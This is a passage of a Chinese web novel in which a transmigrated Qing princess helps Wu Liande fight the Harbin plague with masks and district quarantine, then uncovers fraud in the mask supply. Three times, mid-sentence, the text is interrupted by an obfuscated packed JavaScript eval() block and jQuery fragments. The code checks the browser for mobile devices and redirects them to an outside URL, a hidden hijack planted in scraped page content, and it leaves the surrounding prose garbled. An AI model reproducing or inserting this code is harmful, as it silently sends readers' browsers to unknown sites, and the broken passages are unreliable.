“我们家格格打小就跟着王爷打猎,那是真见血的,连寻常男子的胆气都不及她万一。
不过,我们格格其实是很善良的,谁对她好,她就对谁好,哪个下人小丫环不小心说话不注意,她也不计较。打碎了东西,她也只问伤了人没有,从不随意责罚下人。”
最后那半拉说了也白说,苏家的下人就记住并传播前半句,剧情从“少奶奶从小就打猎,杀生见血对她来说是寻常事”,变成“少奶奶从小就杀人,见血对她来说是寻常事”。
起先还有人质疑,少奶奶哪能经常杀人,难道京城里没有王法吗?
合理的质疑挡不住有人解释:“她可是礼亲王的格格,大清第一铁帽子王,随手把下人弄死了,只报一个重疾暴毙,不过赏几两丧葬银子就完了,谁还敢跟她较劲?”
家仆里没有人是铁帽子王出身,在他们的想象中,铁帽子王就应该如此草菅人命,对于胡说八道的解释,所有人都觉得很有道理。
金显珏也听到了这些流言,但她根本不在乎。
现在这世道,当恶人,总比人善被人欺好。
何况,她本来就心不在后宅,现在正好,借着跟外人说了话,要自觉隔离为由,离无聊的宅斗远一点。
·
·
经过金显珏的提示,伍连德把寻找解剖尸源的可能性放在与中国人结婚的外国人身上,不过三天时间,他就找到了:一个嫁给中国客栈老板的日本女人。
通过解剖,他确定了哈尔滨这次鼠疫与中世纪的黑死病不一样。
黑死病是腺鼠疫,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427458|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只有鼠传人。
这次是肺鼠疫,可以人传人,传播路径跟肺炎一样。
但是……没人相信他。
在哈尔滨,有十几个国家的外国人,其中不乏有经验的医生,不管是日本医生还是法国医生,没有一个人相信他。
所有人都认定这次必然是腺鼠疫,对伍连德“阻断飞沫、进行隔离”的建议置若罔闻,依旧执着的要求清朝官员下令重金悬赏——捉老鼠。
伍连德忧心忡忡,却也毫无办法,他说是“全权总医师”,但是,这里是哈尔滨,清廷的最大权力也就是收税,吏治和执法权都在洋人手上。
如果洋人不支持他,那就没戏,只能坐看疫情发展。
就在伍连德烦恼之际,忽然听见林家瑞来报:“苏家少奶奶来了。”
金显珏用纱巾将自己的口鼻裹了一圈又一圈:“伍大人,你好吗?”
伍连德苦笑:“不太好。”
他顿了顿:“现在鼠疫闹得这么厉害,你怎么来了?”
“就是因为鼠疫闹得厉害,我才出来,听说,洋鬼子都不信你?”金显珏笑道。
“是。”
尽管日本医生解剖了几百只老鼠,也没有在老鼠身上找到鼠疫杆菌,尽管哈尔滨一天就被干掉了几万只老鼠,连鸡毛店都难见老鼠踪影,可是他人微言轻,还是没人信他。
金显珏笑道:“我相信你。”
“为什么?”
“因为我们家有老鼠,不止一只,但苏家没有一个人得病。”
伍连德满怀希望地看着她:“你可以帮助我说服他们吗?”
“不能,我说不动洋人。”金显珏坦承自己的无能为力。
?伍连德眼睛里的光又熄灭了,金显珏笑道:“别急呀,我看他们是真的不相信。”
伍连德:“……是的,当然……”
不然呢,他既不跟他们抢资源,又不跟他们抢功劳,他们何必非要跟他对着干。
金显珏悠然开口:“那么,他们一定会为他们所相信的事情,付出代价,伍大人别管他们,你就说,按你的想法,应该怎么防治才能防止鼠疫传播,要钱还是要人?”
“肺鼠疫,最要紧的就是在呼吸道阻断传染途径……”伍连德提出的方案与“非典”和“新冠”一模一样——戴口罩。
口罩最要紧的是熔喷布,那玩意儿发明于1954年,现在连原材料聚丙烯都没有。
伍连德的作法是在几层纱布中间夹一层浸透药水的纱布,非常简陋,但有用。
现在没有流水线,所有的口罩都得古法手工缝制。
伍连德根据现存人口,计算出需要的口罩数量,又陷入哀愁,这得多少人手啊。
欧洲已经出了几个优秀的男性裁缝,但是在中国,针线活依旧是女人的天下。
女人们散落在各家各户,平时大门不出二门不迈,这要怎么样才能组织她们高效地完成口罩缝制?
金显珏让他放宽心:“您说,需要多少,我来算需要多少钱,到时候,就请您向锡良大人、向朝廷开口要银子要物资,剩下的事情,由我来安排,保质保量,若是到期交不了货,我把命抵给你。”
“不用不用……”伍连德赶紧摆手,“既然苏夫人这么说了,那我这就算一下。”
金显珏温和地纠正他:“我还没有完婚,请叫我Miss king。”
7. 第 7 章
统计哈尔滨需要口罩的数量是整个环节里最简单的一项。
此时的东北已经大地封冻,但凡是个活人,必须得找到一个能栖身的房子待着,就算是乞丐,也得住在鸡毛店里。
如果这个人不在房子里,那么一夜过去,此人也就不需要被统计了。
清廷的能力再差,统计区域内人数的能力还是有的,面对天灾疫病,日本和沙俄两边的人也不得不配合,毕竟武器再强悍,也打不死看不见的鼠疫杆菌。
很快,需要的口罩数量就统计出来了,如果要按每一个活人拥有一个口罩来算,至少得要七万个。
再考虑到替换的因素,伍连德最终确定的计划是生产十五万个。
根据早期的防风口罩为基础,伍连德往纱布里面加入药棉,制成“伍式口罩”,厚厚实实一大块,至少有十个蓝色口罩那么厚。
防护性有,但是不多,特别是鼻子和脸之间总有缝隙,如果拼命往死里勒紧,人又会非常不舒服。
不舒服,就会忍不住把口罩摘下来,或者能偷懒就偷懒,能不戴就不戴,这样会影响防护效果。
金显珏有非常深刻的经验教训。
她戴上口罩给伍连德比划:“病菌会从这里进去,在鼻梁这边加一小段铁丝固定位置,会好一点。”
“铁丝……”这是伍连德没有想到的,他只向朝廷申请了纱布和药水,没想到铁丝。
尽管每个口罩只需要十厘米左右,但是架不住数量多,十五万个口罩,那就是一千五百米的细铁丝,考虑到生产损耗,还得要更多。
他又得赶紧向朝廷申请批拨细铁丝。
现在清廷也怕东北的主权旁落,东三省全权防疫主医官的一封电报上去,主管官员一句废话没有,立马批了。
按照之前的分工,伍连德负责要资源,金显珏负责拉人头干活。
要找会缝纫的人不难,自古以来,中国人对美满家庭的梦想就是“男耕女织”,最早对女人的要求是可以做到,把丝、棉变成线,再变成布,再到整套衣服的完整流程。
劳动分工细化,出现了纱厂、布匹厂,对“女织”的要求也变成了能把布变成衣服。
就算不会裁衣服,最差最差,也得会缝被子、补衣服。
口罩不是精细活,只要会缝被子,就能缝口罩。
但是,找愿意干活的人就有点难了,大清自《南京条约》开始到现在,赔出去多少亿的白银了,后来为了老佛爷的葬礼,银子花得淌海水似的。
此前又花重金悬赏捕鼠,每天几万只老鼠的赏银都是足数发下去的,现在地方上的经济实在是捉襟见肘。
前面要纱布、要药水、要铁丝,上面已经暗示财政吃紧,拨出来这些物资已经很不容易了。
如今还没有成效,又要钱。
锡良生怕惹上头不高兴,他的意思是:工钱就别要了吧,反正干这活的是女人,女人本来在家做缝缝补补的事,也不拿钱,不就是再多做几个口罩么?顺手的事,要什么钱。
伍连德觉得不给钱,让人做白工很不妥,他努力了几次,锡良也十分无奈,只说没钱,只许诺可以给这些参加劳动的女人们申请“旌表”,给她们的娘家、夫家一份荣誉。
消息传出去,民众哗然。
女人们不是说自己笨手笨脚不会缝,就是说自己要照顾一家子几十口人,没空缝。
就三个字:不配合。
如果是在别处,官老爷把这些女人家里的男人抓到县衙,威胁恐吓一番,不怕她们不听话。
可这里是哈尔滨,清廷的管理能力有限。
很多中国男人在日本、沙俄人开的洋行里做事,虽然是最底层的工作,但是突然之间把他们都打杀了,洋行也得停转,到时候,友邦人士,便得惊诧莫名。
涉及到洋人,事情就复杂起来了。
不做口罩,那更不行。
朝廷拨的纱布和药水都到了,钱已经花下去了,现在又说没人做,物资白放在那里,人继续一堆一堆的死,下一步就是日俄的军队名正言顺地进驻……大清龙兴之地彻底落入洋人之手。
做?没有人支持。
不做,死路一条。
锡良都觉得头大,他想起伍连德此前说要做口罩的时候,对组织人手的事情非常有自信,他终于想起来要问问,伍连德的自信到底是哪里来的了。
至此,一个陌生的女人进入他的视野:礼亲王三格格、苏家少奶奶——爱新觉罗·显珏。
既然她先前向伍连德保证可以组织人手,锡良便赶紧把她找来,问她可有对策。
“谁要空头荣誉啊?”金显珏听到锡良给的处理方案,都觉得好笑,“哪怕是个贞洁牌坊,也能给家里减赋税,哪有什么都不给,就给一个虚名的。伍大人,让人白干,我可说不出口。”
道理是这个道理,可是朝廷不给钱,伍连德也不能动手去抢国库。
“什么都没有,谁会好好干?难道只有罚,没有赏吗?秦朝都不是这么干的。”金显珏摇头。
她才不相信朝廷是没钱,要是没钱,哪里还能蹦跶那么久,只怕是没把该喂的人喂饱,才会找理由卡着。
但是如果死咬着就是要钱,最后不是事情办不成,就是做事的人糊弄事,做出的口罩不合格或是不足数,总不能把消极怠工的人都枪毙了。
金显珏知道这次疫情来势汹汹,导致很多人根本没有来得及囤过冬的粮食。
自从连续死人以后,市场已经没有人卖粮了,粮商们囤积居奇,等着将粮食卖出高价。
数千年来的灾年都是如此,如果故事是发生在兴盛的王朝,必然会有皇上派来的清天大老爷主持正义。
如果故事发生在王朝末年,结局就是饿死的人太多,活着的人忍无可忍,生出民变,到处都是起义军,一人一脚,合力踢倒摇摇欲坠的旧王朝。
不过,金显珏知道清王朝不缺这一脚,他们自有取死之道,既然如此,那也不必让百姓被饿死。
从人类的良知来讲,她不想看到易子而食、现实版的《菜人哀》在自己面前上演。
从自保的角度来说,人饿急了,苏家囤的那些子弹只怕也就能顶一两个星期。
金显珏给锡良出了个主意:“不给钱,那就得给吃的嘛,还有点灯用的煤油,正好现在不让人出去,有些人家连过冬的食物都没来得及囤呢,现在疫病闹成这样,就算给钱,也没处买去。”
直接发钱不好拿,中间多一道手续,不管是采购的,还是运输的,全都有利可图,一头猪到底是一两银子还是十两银子,就看采购的人怎么说。
台阶递出去,果然京里同意了,原本死活说没钱的户部衙门,顺着台阶走下来,说粮食、煤油等民生物资会尽快用铁路运到。
给吃的,对普通人家来说,跟直接给钱的性质差不多,本来他们也需要拿着钱去市场上采买过冬食物,现在食物由官府供给,原计划买食物的钱就省下来了。
至于已经采购了食物的人家,他们也不嫌食物多,谁知道鼠疫要折腾到什么时候才能被平息,手里有粮,心中不慌,真到山穷水尽了,有一亿根金条在手上,都不如一块大饼在手上来得实在。
一开始,伍连德的想法是按人头平均分配,但是金显珏摇头:“如果一天能缝一百个的人,跟一天能缝一个的人,拿到的粮食一样多,后面就只会变成人人都只能缝一个了。
你不能指望人人都心有大爱,愿意无私奉献,拼尽全力。”
锡良不是庸才,金显珏说得道理,他都明白,给他一点时间,他也能想到处理办法。
但是现在他的头上有无数件大事急等着去做,他是东三省总督,不是哈尔滨一地的父母官。
伍连德是医生,对于如何安排上万人有序工作,以及规划激励、奖惩机制也没有什么心得。
“如果锡良大人、伍大人信得过我,就让我去做吧。”金显珏主动请缨。
“你?”锡良怀疑地看着她,他知道金显珏刚嫁进苏家没多久,就算她已经开始掌管苏家的家务,那才一两百人,何况苏家许多事情都有旧例可循,现在可不一样,连锡良都不知道千头万绪应该从何入手。
金显珏骄傲地昂头:“自从道光爷开始,我们家就负责皇家每年去避暑山庄和木兰秋狝的安排,每次一动,也是成千上万,虽有旧例,但每一样都得重新检查,确保无恙。
我爷爷办差的时候,让我阿玛学,我阿玛不喜欢,便偷偷让我替了,具体执行的事不用我管,但是安排计划,我都参与了!我就不信,安排这点事,比安排皇家出行还难!”
真·礼亲王三格格在家是怎么样的,她不知道,不过,锡良也不可能知道~他又不可能为了这种事情跑去问礼亲王:“你真的偷懒不干活,让你家三格格替你干?”
何况办这事的主力军是女人,此时大多数女人们还是身居后宅,找男性官员管,多有不便,想找人都不好找。
既然金显珏愿意担起这事,那就交给她好了。
得到东三省总督的授权,金显珏便行动了,她先定了奖惩制度,分配方式是底薪加提成,多劳多得,质量不达标的退回不要,三次不合格,取消做口罩的资格。
第一天早上,伍连德向女人们展示合格的口罩是什么样的,接着,女人们就领了纱布、药棉和铁丝各自回家做去了。
等女人们走后,金显珏问道:“听说伍大人着手在建疑似病院了?光有疑似不行啊,得把健康的人完全隔开,就像我管我们家一样,健康的就别出去,出去了就隔离七天再住回来,不然今天还有八千个人可以缝口罩,过三四天,八千变四千,四千变两千……那这活可就没法干了。”
这几天伍连德都快忙疯了,除了成立疑似病院,还有安置刚刚从沙俄借来充当临时医院的火车车厢,寻找和培训护士、护工,以及试图说服其他国家的医生相信这次的鼠疫真的不是由老鼠传播的……大大小小的事攒在一起,已经耗尽了他的心力。
他叹了一口气:“Miss king有什么好办法?”
“把整个哈尔滨划成不同的片区,各个区之间,无事不得乱走动,避免感染,如果实在不行,至少确保做口罩的人是健康的……”
新冠的时候,金显珏当过社区志愿者,亲眼见证过一个社区几千人应该怎么管理。
全市这么大范围,她确实没管过,但她听说过,其中会出现什么弊端她也知道。
鼠疫是烈性传染
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427459|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
病,不是会自动衰减到可以与人类共存的状态,在弊端出现之前,疫情就已经结束了。
伍连德有些意外:“你就这么相信我的判断,认为老鼠不是传染源?”
如果老鼠是传染源,那么禁足人类没有任何意义。
现在整个哈尔滨,只有伍连德自己相信这是肺鼠疫,连锡良都不怎么相信他,并没有取消抓老鼠的悬赏令。
金显珏微笑道:“当然相信你,你不是有证据吗?外国人有什么?日本人不是解剖了几百只老鼠,什么都没发现吗?我为什么要相信外国人,就因为他们是外国人?”
这是伍连德第一次得到一个外人无比坚定的信任,他十分感动。
他相信金显珏是理性的、智慧的,他将金显珏的想法转述给锡良,锡良一听,不就是不让乱走么,不要钱,不要物资,好说!
伍连德通过外务大臣施肇基跟在哈尔滨的各领事馆说明:哈尔滨划区,进行统一管理,希望在哈尔滨的洋人也要配合,尽快消灭鼠疫。
问题来了,区与区之间不可能真的完全禁绝往来,什么人可以在各个区域之间通行,由谁负责各区的物资调配?
清朝政府此时在哈尔滨本来就没什么权限,中国官员更没有一个人愿意接这个烫手山芋。
洋人之间也互相不服,此时在哈尔滨势力最强的是日本和沙俄。
然而,日俄战争结束还没几年,日本虽是战胜国,但沙俄一个子都没赔,态度还极其强硬,放话说有种再战。
两国至今互相看不顺眼,要日本人听沙俄人的话,或是让沙俄人听日本人的话,都是不可能完成的任务。
第一次的领事会议是有益的!
几方充分交换了意见,了解了彼此的态度。
并约定如果有进展,还可以再开。
金显珏带人交付第一批口罩的时候,伍连德和锡良都在,锡良告诉她,由于政治原因,划区的问题无法达成共识,主要就是挑不出一个非政府身份,且又能统管的人。
“您看我行吗?我不是政府的人,我夫家也不是,我娘家是,但远在北京,而且也没有任何军事权力,不会对任何一方造成武力威胁。”
锡良十分无奈:“你说的我明白,但是你说服我没用,要那些洋人也同意呐。”
“大人是否愿意带我去参加领事会议,我可以对洋人们分析利害。”金显珏大大方方。
此时的公使夫人们也是外交场上的活跃份子,带金显珏去领事馆会议,也不算惊世骇俗,何况锡良现在已经完全没招了,既然她自己不怕抛头露面,锡良乐得成全她。
在第二次领事馆会议上,金显珏表达了自己愿意管事的想法,并邀请各位领事夫人们一共参与:“……鼠疫威胁的是无数个家庭,既然各国的文化都认同妻子最重要的价值是维持家庭,那么,这件事由太太们负责最合适不过了。”
第一次会议的时候,伍连德已经从医学的角度,把划区管理的意义和重要性说得非常清楚了,大家都认同需要划区。
没有办成全部原因,都是政治问题。
金显珏没有官身,她无法撼动任何国家在哈尔滨的利益,各国领事琢磨一番,再加上连领事馆里的工作人员都开始陆续出现死亡病症,他们痛快同意金显珏的要求,只希望这事赶紧结束。
回家以后,闻夫人得知金显珏居然自己谋了一个管理全市的差事,不由得担心:“你行吗?这么多人,还有洋人,你管得了吗?要是实在不行,你就推了吧,千万别惹火烧身。”
“太太放心,我敢接,就能做。”金显珏自信一笑。
闻夫人叹了口气:“你啊,跟我年轻的时候一样,管得越多,越觉得自己有能耐,我劝你一句,管事很累的,还容易落人埋怨,费尽心力,还要挨骂,洋人可不管你是不是格格……”
她真担心金显珏这个娇生惯养的格格,被人骂几句,就哭着撂挑子跑回家说不干了。
与其那样,还不如从一开始就不接,免得受了气还落不着好。
遗憾的是,金显珏显然一个字都听不进去。与闻夫人不同,苏佩兰双眼放光:“嫂子,你管整个哈尔滨?那不就是道台了吗?!”
“咳,不是道台,只是做一点点微小的工作,管管区和区之间的通行,还有物资运输什么的。”
苏佩兰的眼睛更亮了:“哇!!!那不就是漕运总督!!!”
金显珏笑道:“哈哈哈,我这官给你越封越大了,再让你说下去,我就是首席军机大臣了。”
“有什么不行的!”苏佩兰超大声,等闻夫人走了,她压低声音,冲着金显珏挤眉弄眼:“我从母亲房里摸到一本《再生缘》,可好看了!等我看完借你看看!原来女人也能考状元呢~”
金显珏冷漠拒绝:“不看!根本就没写完,是个大坑。”
“啊?”苏佩兰像泄了气的皮球,“那我不看了!”
金显珏笑道:“看呀,干嘛不看!你可以续写嘛!就按《红楼圆梦》《红楼醒梦》来写。”
苏佩兰扁着嘴:“我都想象不出来女人还能考状元,怎么续写啊……唉……”
忽然,她又振作精神:“我可以写你嘛?!名字就叫……我的道台嫂子!”
8. 第 8 章
苏家有几辆小马车,每辆车都有自己的固定活动区域,把口罩收到指定的地方,清点好数字,登记完了,再一起发给伍连德。
第一次交付很顺利,第二次也很顺利,金显珏随手拿了从最顶上的箱子里取出两个口罩抽检,质量没有问题。
第三次,金显珏看着撂了十层,仿佛城墙一般高的箱子堆,忽然指着一只写着“偏脸子四道街麻氏”的箱子:“把它打开。”
这只箱子压在最底下,想把它打开,得把上面的都搬走。
负责收口罩的仆妇宋妈面部肌肉一僵,继而又像没事人似的陪着笑脸:“少奶奶,您不是说午时之前就要把口罩送到伍大人那里去吗?时间快到了,拆这箱子,来来回回的搬,多耽误时间。”
宋妈在苏家待了许多年,也是有头有脸的体面人,平时说话颇有份量,闻夫人对她也十分客气,站着的小厮听了她的话,一时也没有搬箱子,齐齐看着金显珏。
金显珏眉毛微挑:“我竟不知道,宋妈的话比我的话更有用了?既然你们都这么听她的话,不如我这就回了夫人,这个少奶奶请宋妈来当,我退位让贤?反正少爷不回来,我想他也不会介意。”
这顶帽子扣下来,谁受得了,小厮们赶紧七手八脚将压在上面的箱子搬下来,用撬棍将最底下那只箱盖撬开。
随手摸了一个出来,发现口罩里面居然没有放药棉!
没有药棉的口罩就只能挡挡风,挡不住鼠疫杆菌,戴着这种口罩去疫区,就是死路一条。
金显珏眉头微皱,又抽出一个,还是没有。
她示意旁边的丫环过来:“你们过来给我数数,这一箱里面有几个合格的。”
一个都没有!
全都没有放药棉。
金显珏叫来玉霄:“去把锡良大人给我的手令拿来。”
在锡良授权给她,让她负责口罩制作的时候,她就向锡良申请“物资管理”方面的执法权。
法令完全与战争时期的战备物资管理一样,对于延误、偷工减料、以次充好……全部都有详细的规定,直接责任人和包庇的相关责任人各该担什么责任,都有明文规定。
毕竟中国有几千年的历史了,春秋战国时,就有人在战备物资上搞鬼,在几千年的发展中,中国的内外战争就没停过,在实践中,相关法度越来越细,也越来越严。
到了封建王朝末期的大清,法律相当完备,特别是对于战争相关的法令,只有“有法不依”“执法不严”“违法不究”,绝不存在“无法可依”。
锡良的手令发下来的时候,金显珏就命人拿着手令,一个区一个区的宣读,不仅宣读,所有负责提供口罩的人家都有人按手印以示自家确实听到了,想装死说当时不在现场那是不可能的。
苏家参与此事的仆妇也都按了手印、画了押,所有人都知道指令。
宋妈见金显珏要拿出锡良手令,吓得腿软,“扑通”一声跪下:“少奶奶,我错了,我疏忽大意,今天刚出门,马就突然受惊跑了,追了好远才追回来,幸好路边没人,不曾伤人,我心里记挂着口罩必须在午时之前送到,麻家又一向谨慎,上回少奶奶还夸过她们家的手工细致,认真,我就……没注意看……”
金显珏看着她:“你的意思是,你只是无心之失,忙中出错?”
马受惊又没有后遗症,惊完了,拉回来,平静了,人类也看不出来它到底有没有受过惊,连没有目击证人都考虑到了,这个理由真是天衣无缝,金显珏又不可能把马拎过来,让它招供今天在路上发生了什么。
金显珏追问:“马在哪里受惊的?它怎么挣脱缰绳的?谁去追的,追了多久?玉霄,都记下来了吗?让赵叔找今天跟着宋妈出去的一个车夫四个小厮,分开问。再问一句,今天收货的顺序是什么?”
另外五个人的口供很快就回来了,五个人五种答案,其中有一个年纪最小的直接说:“啊?马没有受惊啊。”
真相大白,无可抵赖,宋妈依旧咬着牙,只承认自己好大喜功,想要第一个回来,让少奶奶夸她办事利落,这才疏忽大意,没有好好检查。
战备物资供应出错分为好几个档次,因为不可抗力事件导致的意外是第一种,罚钱了事,疏忽大意是第二种,罚钱加打板子,宋妈已经有了年纪,如果她愿意拿出更多的“议罪银”,或者她的儿女、女婿儿媳愿意替罪,她就不用挨板子。
宋妈在苏家多年,在苏府外有自己的宅园,家里也有服侍的丫环小厮,按照现行“议罪银”的数量,她能掏得出来,只是有些肉痛而已,按往常攒钱的速度,大概要攒一年多。
现在她负责一个区域的防疫物资收集,谁家的口罩质量没那么好,谁家没有按时交齐,不想获罪,都得给她钱,请她在少奶奶面前说说情,还能再攒得快一点,大概三四个月,甚至更快就回来了。
遗憾的是,她遇到的是金显珏。
今天与宋妈去收口罩的那几个人对于马车行进路线的口径是一致的:偏脸子四道街麻家是第一个去的。
从地图上看,第一个去麻家没有问题。
宋妈说别家都有抽查,麻家是因为被金显珏夸过,她就自作主张免检了。
金显珏就问了一个问题:“既然麻家的口罩是第一个收的,那么,他们家的箱子就应该是在马车的最底下,再从车厢里拿出来放在这里的时候,应该是最后一个,也就是应该放在最顶上,为什么却会被压在最底下?”
其实,这就是金显珏为什么会突然决定抽查这只箱子的原因,她对这家的箱子印象特别深,因为她老是把“偏脸子麻氏”记成“侧脸全是麻子”。
前两次,这只箱子都在最顶上,每次看到,她都会觉得好笑。
今天,她一眼扫过,居然没找到她的快乐之源,她才会专门去找。
如果所有人都说麻家是最后一个去的,金显珏想定宋妈的罪,就得问遍所有相关的人,了解宋妈大概是什么时候到她们家的,然后再推算马车到麻家的时间。
故意在验收的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427460|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候收次品上来,按照战时法令是死罪。
宋妈还在挣扎,麻家已经先招供了。
不管宋妈是不是故意,整整一箱子口罩都没有放药棉,绝对是故意。
麻家推出了一个人,说都是她的主意,那是麻老爷新纳的小妾柳氏。
据说是柳氏想在麻老爷面前立下大功,争宠,将来等太太咽气好把自己扶正,所以才会想出这个俭省的办法,省下来的药棉都留给柳家人自己用。
“呵……上次听到这种蠢货言论,还是说杨贵妃收安禄山做义子,断送了大唐江山。”金显珏冷笑一声。
玉霄茫然地眨巴着眼睛:“啊?不是吗?戏文里都是这么说的。”
“唐玄宗不点头,身在后宫的杨贵妃能随便收一个节度使当义子?她又不是董卓丁原,就是推卸责任罢了。手令是挨家挨户读的,谁家供应出了问题,最高处罚是满门抄斩,你相信一个新进门的小妾出了个灭门主意,他们家的人都听了?”
金显珏想了想:“先想办法打听打听麻家到底是无知者无畏,还是背后有什么后台替他们撑腰。我来亲自问问这个柳氏。”
当金显珏看到柳氏的时候,眉头皱得更紧了。
眼前的柳氏,看起来最多十三四岁,满脸稚气,宽大的衣袍下是一双尖尖小脚,见到金显珏,她像见了猫的老鼠,低着头,全身控制不住的发抖。
这年纪,这气质,说她号称麻家,莫敢不从,鬼才信咧。
金显珏露出和善温柔的笑容:“别怕,我就问你几句话……你今年几岁啦?”
“十……十五了。”光是这几个字,柳氏都说得结结巴巴。
“十五?你是哪年生的?”
“丁酉……”柳氏的声音小得像蚊子哼。
金显珏掐指一算,丁酉,1897年?
她单纯地表达了一下自己的困惑:“那不就是十三,怎么会是十五?”
柳氏吓得扑通一声跪在地上,连连磕头:“贱妾是腊月生的,虚两岁,真的不是有心欺瞒格格,格格饶命啊。”
金显珏笑道:“我就随口一问,别怕,来,吃点东西。”
柳氏从麻家出来的时候,整个麻家人看她的眼神都像是在看死人,麻家大夫人向她保证,只要她把所有罪名担下来,就会给她家里五十块银元。
她虽然是被家里人卖到麻家的,但是对家里依旧有眷恋,听见有五十块,她立马答应了。
她看着玉霄端来的点心,心中悲凉:里面肯定有毒,我马上就要死了,过去为了保持身材,连饭都吃不饱,如今,却要死在点心上。
吃第一口:苏家果然家大业大,连毒杀用的糕点都做得这么好吃。
吃第二口:药效还没发作,赶紧再吃一口。
第三口、第四口……
见她吃完了,玉霄又端来一盘新品种点心。
柳氏是快死了……撑死的。
最后还是金显珏阻止了她的自杀行为:“少吃点,别撑坏了。”
9. 第 9 章
柳氏眼巴巴看着被玉霄端走的点心,终于想起来自己不是来做客,而是来受死的。
她转回头看着金显珏,嗫嚅道:“什么时候杀我?”
“啊?为什么要杀你?”金显珏困惑地看着她,“我就是来找你随便问两句话,他们给了你家什么好处,让你愿意来顶罪。”
“没有,没有,我是自愿的。”柳氏连连摆手,生怕金显珏看出真相,麻家人就不给她家钱了。
“你过来。”金显珏伸手让她近前,捏了捏她的胳膊,又看着她的眼白,里面满是血丝,眼神里也满是疲惫。
“你在麻家过得也不怎么样嘛,为什么你会自愿啊?我可告诉你,你活着的时候,他们就没对你有多好,人死债消,他们更不会对你家人好,不管他们许诺什么,都不如你自己活着重要。”
金显珏刚说完,只见柳氏的眼泪叭嗒叭嗒往下掉,嘴里还倔强地说:“不会的……”
她忙乱地用袖口擦着眼泪,忽然抬起头,凶巴巴地看着金显珏:“你说她们在骗我,你又是什么好人吗?人人都说你是个连婆婆都治倒了的悍妇!不给婆婆吃饭,你婆婆每天都躲在屋子里哭。”
封建王朝以“孝”治天下,把婆婆治倒,在现在,属于不孝大罪。
玉霄大为震惊,明明刚才柳氏吃糕点吃得那么开心,怎么转头就疯了似的突然骂人呢?
还不给婆婆吃饭?婆婆还每天躲在屋子里哭?
这是什么聊斋故事?
她忍不住开口替金显珏说话:“你可真敢想!你这么有本事,怎么连大娘子都治不住?还婆婆?”
这些话都是柳氏从麻家大夫人那里听来的,大夫人自然又是从宋妈那里听来的。
金显珏并不生气,她知道被诈骗的人,是不愿意承认自己被诈骗的,不仅如此,还要疯狂攻击揭穿骗局的人,好像只要能证明揭穿骗局的人不是完人,骗局也就不存在。
“呵,只是治倒婆婆?啧啧,你也就这点眼界了。”金显珏摆摆手,几个仆妇忙过来。
金显玉:“先把她押下去,等我查明白了再处置她。”
麻家先祖也是顺治年间出关的旗人,也属于勤劳勇敢,敢想敢干的那一拨,只是缺了一点,不如当年的瓜尔佳小少爷长得好看,也没有他那么想得开,放得下,说入赘就入赘,跟苏家强强联手,起家快,效率高。
一步迟,步步迟,如今麻家靠敢拼、敢走歪路,攒下了不少钱。
在财产方面与苏家差不多,在权势上始终低一头。
麻家几次想混进权力中心,都失败了,权力的蛋糕就这么大,谁都不愿意把自己的权力分出去,更不想看到新贵崛起。
总体来说,麻家有钱而无权,平时他们家想要方便办事,索要特别优待,是没有问题的,毕竟谁不喜欢动不动就给自己送钱的人呢,在不影响自己的情况下,给点好处无所谓。
但是遇到大事,他们家就什么也不是,甚至是第一个被推出来扛雷顶缸的。
金显珏眉头微挑:“查清楚了吗?真的只是这样?他们的胆子怎么这么大?有没有可能,他们家有隐藏的后台?比如,锡良?”
去打听消息的仆人笑着摇头:“嗐,谁不认识谁啊,要是真有后台,他们家早拿出来了,怎么还会拿柳氏出来顶罪?”
金显珏点点头,确实如此,大国之间还时不时搞点阅兵、演习之类的展示一下自家的实力,确保各位“邻居”们能看见,掂量掂量是不是可以随便开战。
像男频小说里那种平时装得像孙子似的,让各位邻居产生了极大的误解,时不时的欺负欺负,最后再拿出个“王炸”。
这种操作有着相当大的风险。
想“扮猪吃老虎”,首先就得保证,扮猪的那位,真的是能吃得了老虎的大佬,而不是小狗崽扮哈士奇。
在不能保证一口气把邻居们全干掉的情况下,这招也不好用,等于是自断后路,邻居们都知道这有个心怀怨恨的纯恨战士,那还不如早点干掉,大家安心,连谈判的缓和机会都没有了。
麻家敢这么干,也没什么特别的原因,就是因为他们家想趁着灾疫夺权上位。
在伍连德来之前,城里死了不少人,鼠疫对人类无差别攻击,不管官职高低、权力大小,只要染上了,就是个死。
麻家不懂什么腺鼠疫肺鼠疫,他们只当是普通的伤寒,伤寒也是得管住人,不让乱走,疫情开始之后,麻家的仆人死了几个,然后,麻家大宅便关上了门,不让人随便出入,误打误撞,也防住了病。
生存问题刚解决,他们就已经想到疫情结束之后的事了。
权力厌恶真空,城里死了这么多地方上的官员,他们死了,留下的空缺总得有人填补,鼠疫结束后,兴许麻家就能掌握哈尔滨的各项大权。
